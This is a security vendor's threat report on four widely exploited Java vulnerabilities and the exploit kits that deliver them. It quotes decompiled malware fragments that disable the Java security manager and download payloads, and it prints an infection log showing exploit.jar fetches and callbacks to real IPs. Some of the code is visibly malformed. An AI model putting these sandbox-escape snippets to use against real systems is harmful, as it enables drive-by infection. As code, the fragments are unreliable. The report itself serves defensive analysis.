BREWING UP TROUBLE:
Analyzing Four Widely Exploited Java Vulnerabilities

Authors: Abhishek Singh, Josh Gomez and Amit Malik
CONTENTS

Introduction .......................................................................................................................... 2
   Exploitation Activity ........................................................................................................ 2

Technical Details .................................................................................................................. 3

Conclusion ............................................................................................................................ 18
   About FireEye, Inc. ............................................................................................................ 18
Introduction
Java is widely used by developers—so much so that many applications and websites do not run properly without Java installed in users’ systems. This widespread adoption makes the near-universal platform fertile ground for cybercriminals. Exploit kits have pounced on Java vulnerabilities with virtually every major discovery.

Forget exploiting simple browser and client-side application flaws to distribute pay-per-install spyware. Today’s exploit kits are smarter, abusing legitimate Web components and infrastructure to selectively deliver the right exploits to the right targets. That is why Java exploits have become the vehicle of choice for quickly dispersing lucrative crimeware packages to a wide pool of targets.

This report examines the technical details of the four most commonly exploited Java vulnerabilities. In addition to describing the inner workings of each vulnerability, this report outlines each step of the infection flow of in-the-wild exploit kits that target them.

**Figure 1: Vulnerabilities, by frequency of exploit**

**Exploitation Activity**
Figure 1 shows the detection prevalence of CVEs exploited in the wild. Judging from the frequency of exploited vulnerabilities, Java Runtime Environment (JRE 7) appears to be the most frequently exploited platform.
Technical Details
The following sections explain the technical details of the four most commonly exploited vulnerabilities, including exploit kits that leverage these weaknesses:

CVE-2013-2471
Java provides several functions to create and manipulate raster objects. A raster object can be created by calling the CreateWritableRaster method of the Raster class. It uses the following prototype:

```java
public static WritableRaster createWritableRaster(SampleModel s, DataBuffer buf, Point location)
```

The return object depends on the SampleModel class. The SampleModel class defines an interface for extracting pixels from an image. When creating a raster object, Java calls a function verify() of the integerComponentRaster class to validate the input data. Internally, the verify() function uses getNumDataElements() method of the SampleModel class to validate the data (see Figure 2).

Overriding the getNumDataElements method and returning 0 allows an attacker to bypass the checks in the above loop and create malicious raster objects. The unvalidated raster objects can be passed to the compose() method of AlphaCompositeClass so that the compose() method calls the native function blit.blit(), which could corrupt memory, depending on the input parameters.

Figure 2: Vulnerable Java code

```java
for (int i = 0; i < numDataElements; i++) {
    if (dataOffsets[i] > (Integer.MAX_VALUE - lastPixelOffset)) {
        throw new RasterFormatException("Incorrect band offset: "+ dataOffsets[i]);
    }
    The numDataElements variable is coming from the Raster class (Raster.java).
    numDataElements = sampleModel.getNumDataElements();
```
Analysis

Figure 3 shows the decompiled code of a malware sample in the wild that exploits CVE-2013-2471. The code first overrides the `getNumDataElements` method to bypass the `verify()` method. Then as shown in Figure 4, it calls the `compose()` method, leading to the memory.

After exploiting the vulnerability, the code disables the Java security manager and downloads the malicious executable file (see Figure 5).

**Figure 3:** Malware overrides the `getNumDataElements` method to bypass the `verify()` method.

```java
public static final Object s() {
    return new Statement(System.class, s2, new Object[1]);
}
// override getNumDataElements to bypass verify() method checks
public int getNumDataElements() {
    return 0;
}
```

**Figure 4:** Malware calling the `compose()` method of the `AlphaCompositeClass` class.

**Figure 5:** Malware elevating security privileges.
Exploitation in the wild
CVE-2013-2471 is often exploited in drive-by download attacks to deliver ransomware. These attacks typically employ off-the-shelf exploit kits, including Cool. Developed by the malware author who created the popular Blackhole exploit kit, Cool in its heyday commanded some of the highest prices on the malware market—licenses went for as much as $10,000 a month.¹ Along with several browser, PDF, and Windows vulnerabilities, Cool exploited the following Java vulnerabilities, some of which were zero-day vulnerabilities at the time they were integrated:

- CVE-2012-0507
- CVE-2012-4681
- CVE-2013-0422
- CVE-2013-0431
- CVE-2013-1493
- CVE-2013-2471

Figure 6 demonstrates a Cool-based malware infection chain that exploits CVE-2013-2471.

After loading the landing page, the browser is directed through the infection chain, starting with a plugin detection script. Plugin detection scripts normally consist of benign server-side code that checks for the presence of various browser plugins (such as Flash and Java) and determines their version number to tailor content to the viewer.

In the same way, exploit kits use the results of the plugin detection routine to tailor exploits to the target. Many vulnerabilities apply to specific versions of Java, so the success of an attack can hinge on delivering the right exploit.

The version of Java is determined by loading the Java Deployment Toolkit, as shown in Figure 7. The globally unique identifiers (GUIDs) are visible in the plugin detect JavaScript file.

After identifying the Java version number, the browser downloads a .jar file containing CVE-2013-2471 exploit (see Figure 8).
The decompiled .jar file reveals the vulnerable `getNumDataElements` method, as shown in Figure 9.

One unique characteristic of this .jar file from the Cool exploit kit is the presence of an embedded executable (shown near the bottom of Figure 10).
CVE-2013-2465
Classes defined in the Abstract Window Toolkit handle various operations on images. They include the following:

- Images.java.awt.images.LookupOp
- ConvolveOp
- RescaleOp
- AffineTransformOp

These classes expose the method `filter()`, defined as follows:

```java
public final BufferedImage filter(BufferedImage src, BufferedImage dst)
```

This call is passed to the native function that performs filtering operations. The function parses the `src` and `dst` values of the `BufferedImage` subclass, populating the hint object (hintProperty `dataOffset` and `numChans`) attached to each of them with values contained in the `ColorModel` and `SampleModel` members of the `BufferedImage` objects. Because no bound check occurs while copying the data, the vulnerable code assumes that the hints values of the images are consistent with their corresponding rasters. If malicious code overrides the hint objects values, the copying code writes more data to the output buffer, corrupting heap memory.

**Analysis**

As shown in Figure 11, the malware code calls `BufferedImage` with class b() as a parameter.
The class b() shown in Figure 12 then makes a call to the class a() by using the super function. The super function, in turn, overloads getNumComponents(), exploiting the vulnerability.

Once the vulnerability is exploited, permission is set to all permission, as shown in Figure 13.

Then the malicious code downloads the malware payload, as shown in Figure 14.
Brewing Up Trouble: Analyzing Four Widely Exploited Java Vulnerabilities

**CVE-2013-2465 in the wild**

Like CVE-2013-2471, the CVE-2013-2465 vulnerability is proliferating via exploit kits, in this case, White Lotus. This relatively new exploit kit delivers crimeware in drive-by download attacks.

An example infection chain includes a plugin detection routine and a .jar file disguised as a portable network graphics (.png) file, as shown in Figure 15.

When the target visits a compromised website, an iframe loads in the background (see Figure 16). The iframe starts a plugin detection routine and—apparently to confuse targets—loads dozens of images from an unrelated shopping website (see Figure 17).
Once the code determines what version of Java the target is running, the exploit is delivered. The exploit is disguised as a .png file to evade visual detection, as shown in Figure 18.

When analyzed, the .jar file reveals a call to the vulnerable getNumComponents method, as shown in Figure 19.
**CVE-2012-4681**

The vulnerability exists in the findMethod method of the com.sun.beans.finder.MethodFinder class. Due to the insufficient permission checks, the immediate caller on the stack is com.sun.bean.MethodFinder, which is trusted, bypassing the security check in getMethods. By exploiting the vulnerability, an attacker can get a method object for a method defined in restricted packages such as sun.awt.SUNToolkit.

**Analysis**

Malware exploiting CVE-2012-4681 first calls the vulnerable findMethod function, as shown in Figure 20.

Then the malware creates the local protection domain to elevate its privilege and disables the security manager, as shown in Figure 21.

```java
private void setField(Class paramClass, String paramString, Object paramObject1, Object paramObject2) throws Throwable {
    Object[] arrayOfObject = new Object[2];
    arrayOfObject[0] = paramClass;
    arrayOfObject[1] = paramString;
    Expression localExpression = new Expression(this.getClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
    localExpression.execute();
    ((field) localExpression.getValue()).set(paramObject1, paramObject2);
}
```

```java
public void disableSecurity() throws Throwable {
    // create local protection domain (elevate privilege) and disable security manager
    Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
    Permissions localPermissions = new Permissions();
    localPermissions.add(new AllPermission());
    ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///")), new CertificatedAccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] { localProtectionDomain }));
    this.setField(Statement.class, "acc", localStatement, localAccessControlContext);
    localStatement.execute();
}
```
From there, the code downloads the malicious payload and executes it, as seen in Figure 22.

**CVE-2012-4681 in the wild**
A high volume of drive-by attacks have exploited this vulnerability, using compromised websites to first serve visitors the malicious .jar, then infect them with a password-stealing IRC bot. The exploit is also part of the Metasploit framework; attackers have weaponized it to distribute a Trojan known as Dorkbot that also has worm capabilities. As shown in Figure 23, the infection chain is short and results in a flood of HTTP requests from infected systems.

---

**Figure 22:** Code downloading the malicious payload and executing it

```java
public static void downGetFile(String paramString1, String paramString2) {
    // download file from internet
    try {
        FileOutputStream localFileOutputStream = new FileOutputStream(paramString1);
        URL localURL = new URL(paramString2);
        URLConnection localURLConnection = localURL.openConnection();
        int i = localURLConnection.getInputStreamLength();
        InputStream localInputStream = localURLConnection.getInputStream();
        BufferedReader localBufferedReader = new BufferedReader(new InputStreamReader(localInputStream, "UTF-8"));
        int readByte = -1;
        byte[] array = new byte[i];
        while (readByte != -1) {
            readByte = localBufferedReader.read(array);
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}
```

**Figure 23:** Infection chain from initial page to jar file download, followed by malware callbacks

```
21 192.168.222.129 90 208.109.181.105 HTTP GET /tehcon.ice HTTP/1.1
127 192.168.222.129 80 208.109.181.105 HTTP GET /exploit.jar HTTP/1.1
168 192.168.222.129 90 69.197.137.58 HTTP GET / HTTP/1.1
200 192.168.222.129 90 69.197.137.58 HTTP GET / HTTP/1.1
207 192.168.222.129 90 69.197.137.58 HTTP GET / HTTP/1.1
212 192.168.222.129 90 69.197.137.58 HTTP GET / HTTP/1.1
217 192.168.222.129 90 69.197.137.58 HTTP GET / HTTP/1.1
224 192.168.222.129 90 69.197.137.58 HTTP GET / HTTP/1.1
228 192.168.222.129 90 69.197.137.58 HTTP GET / HTTP/1.1
235 192.168.222.129 90 69.197.137.58 HTTP GET / HTTP/1.1
242 192.168.222.129 90 69.197.137.58 HTTP GET / HTTP/1.1
247 192.168.222.129 90 69.197.137.58 HTTP GET / HTTP/1.1
252 192.168.222.129 90 69.197.137.58 HTTP GET / HTTP/1.1

// Execute Binary Process
// localProcess = null;
// localProcess = Runtime.getRuntime().exec(paramString);
// catch (Exception e) {
//    e.printStackTrace();
// }
// long processWaitTime = -1;
// localProcess = localProcess.wait(processWaitTime);
// System.out.println("Object object = POP;" + return localProcess);
```

---

www.fireeye.com
For users running a vulnerable version of Java, merely visiting a site hosting the malicious .jar file is enough to become infected.

Here the system is using Java 7 update 2.

The obfuscated script on the site instructs the browser to load the malicious Exploit.jar file, as shown in Figure 25.

Figure 24: HTTP code of compromised site exploiting CVE-2012-4681

Figure 25: Malicious CVE-2012-4681 jar file being downloaded
Attackers are quick to leverage publicly disclosed Java vulnerabilities. This exploit is one of the most commonly detected in the wild, enhanced by the payload’s knack for spreading.

**CVE-2013-2423**

The vulnerability stems from insufficient validation in the `findStaticSetter()` method. The method fails to validate whether a static field is final, returning a `MethodHandle` of a setter method for a static final field. That lack of validation, in turn, permits malicious code to modify the static field to create type confusion and disable the Java security manager.

**Analysis**

As shown in Figure 27, the `findStaticSetter` method is used to get the `MethodHandle`.

```
public static MethodHandle F3ao() throws NoSuchFieldException, IllegalAccessException {
    return MethodHandles.lookup().findStaticSetter(double.class, "TYPE", Class.class);
}

public static MethodHandle T3ip() throws NoSuchFieldException, IllegalAccessException {
    return MethodHandles.lookup().findStaticSetter(int.class, "TYPE", Class.class);
}
```
As shown in Figure 28, this MethodHandle is then used to set value to NULL. That leads to disabling the Java security manager, allowing attackers to launch malicious activity.

**CVE-2013-2423 in the wild**

RedKit is one professional exploit kit that exploits CVE-2013-2423. The example in Figure 29 demonstrates how attackers leverage the vulnerability to deliver the ZeroAccess botnet Trojan onto the target machine. The infection chain is complex, involving multiple hosts for exploit and payload delivery. The .jar file is disguised as a Microsoft .asp file, and the .exe file is encoded, making detection trickier.

![Figure 28: Malware disabling the Java security manager](image)

![Figure 29: Redkit infection chain with a malicious .jar file disguised as an .asp file](image)
As shown in Figure 30, the contacts.asp file shown in is actually the malicious .jar file containing the CVE-2013-2423 exploit.

The decompiled .jar file, shown in Figure 31, reveals the findStaticSetter() call.
Conclusion

Java’s popularity among developers and widespread usage in Web browsers all but guarantees continuing interest from threat actors seeking new lines of attack. Malware authors have advanced quickly—not just finding new vulnerabilities, but developing clever ways to exploit them.

Multiple payload downloads in a single attack session have grown common, maximizing the profit potential from crimeware. Using .jar files themselves to carry malware payloads (as seen in the Cool exploit kit example) allows attackers to bundle multiple payloads with one attack and bypass detection.

Motivated by profits, cyber attackers are bound to adopt more intelligent exploit kits that “know their victim.” That was the case in several recent attacks. These attacks used plugin-detection scripts and advanced exploit chains to evade discovery and compromise websites for drive-by malware downloads. Post-exploit, multi-stage malware downloads will continue to mushroom as more threat actors scramble for a piece of the crimeware pie.

The threat landscape is constantly evolving. As long as vulnerabilities exist—and we can bet they always will—count on more exploit kits to take advantage of them.

About FireEye, Inc.

FireEye has invented a purpose-built, virtual machine-based security platform that provides real-time threat protection to enterprises and governments worldwide against the next generation of cyber attacks. These highly sophisticated cyber attacks easily circumvent traditional signature-based defenses, such as next-generation firewalls, IPS, anti-virus, and gateways. The FireEye Threat Prevention Platform provides real-time, dynamic threat protection without the use of signatures to protect an organization across the primary threat vectors and across the different stages of an attack life cycle. The core of the FireEye platform is a virtual execution engine, complemented by dynamic threat intelligence, to identify and block cyber attacks in real time. FireEye has over 1,500 customers across more than 40 countries, including over 100 of the Fortune 500.